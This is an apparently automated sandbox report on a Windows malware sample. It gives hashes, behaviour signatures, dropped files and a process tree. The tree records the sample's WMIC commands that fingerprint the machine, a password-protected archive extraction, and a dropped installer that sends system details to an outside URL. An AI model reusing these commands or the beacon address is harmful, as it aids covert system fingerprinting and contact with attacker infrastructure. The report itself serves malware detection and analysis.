Analysis

  • max time kernel
    93s
  • max time network
    111s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 15:05

General

  • Target

    f3e7a93830fadff31e4805c1c69ff021_JaffaCakes118.exe

  • Size

    406KB

  • MD5

    f3e7a93830fadff31e4805c1c69ff021

  • SHA1

    366f3b653c1cc74ff8e4c55d9c7ca4c9851eac57

  • SHA256

    6e45a74bf7438627fbd0c90bb417102afd03d848d7b33a6c8c86dac456ffb8f6

  • SHA512

    d6cab8bc05f01995da069070af642fe67d87d7ce5664ea07d37be0eb1770dadcd0b02292d8300974c53fb3fe4026c144af7830d26aeec9f47eb6d69f5d26bcf6

  • SSDEEP

    12288:nA0i50GKD7ea9r0SQNp0y+hQ+XzA8ZfU21TDqC:nAfyGgea9r0NHHGQ+X08xU21qC

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3e7a93830fadff31e4805c1c69ff021_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f3e7a93830fadff31e4805c1c69ff021_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:544
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:224
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get Version /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4484
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3836
    • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\7za.exe
      7za.exe e -y -p"418328ae639acd232553f6f67bfbfac2" [RANDOM_STRING].7z
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5084
    • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\setupcl.exe
      "C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/f3e7a93830fadff31e4805c1c69ff021_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid f3e7a93830fadff31e4805c1c69ff021_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2368
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic bios get serialnumber, version
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\7za.exe

    Filesize

    574KB

    MD5

    42badc1d2f03a8b1e4875740d3d49336

    SHA1

    cee178da1fb05f99af7a3547093122893bd1eb46

    SHA256

    c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

    SHA512

    6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

  • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\[RANDOM_STRING].7z

    Filesize

    80KB

    MD5

    c1032eed9db59b735b098907d3f8873a

    SHA1

    82f578b1d74d34a957fb917a84e4ae098385ed8f

    SHA256

    c13d517c36e95d486b4597aeb46ce1bb66a1e3938c0e56e2c50655fc39d9101d

    SHA512

    6530c24d0cb6980960be939e2e8f3ebe4f4a4e29d808fea6e8d1d9d462e2b6395836690210cb563f6ea68b2bafbf61267375e75434775728f275bfbc3e7d8e38

  • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\nsExec.dll

    Filesize

    8KB

    MD5

    b8be6632a7dc8136ff01338be40fe701

    SHA1

    043fa16929b2af5ed5c1c59b4035a10cf765fb43

    SHA256

    289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

    SHA512

    403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

  • C:\Users\Admin\AppData\Local\Temp\nsx6747.tmp\setupcl.exe

    Filesize

    193KB

    MD5

    10bd2af1b07ec6bc9cd17ba512569e59

    SHA1

    807e17ab1b98177e135d30941b45081960d1e866

    SHA256

    9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

    SHA512

    deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

  • memory/4300-35-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB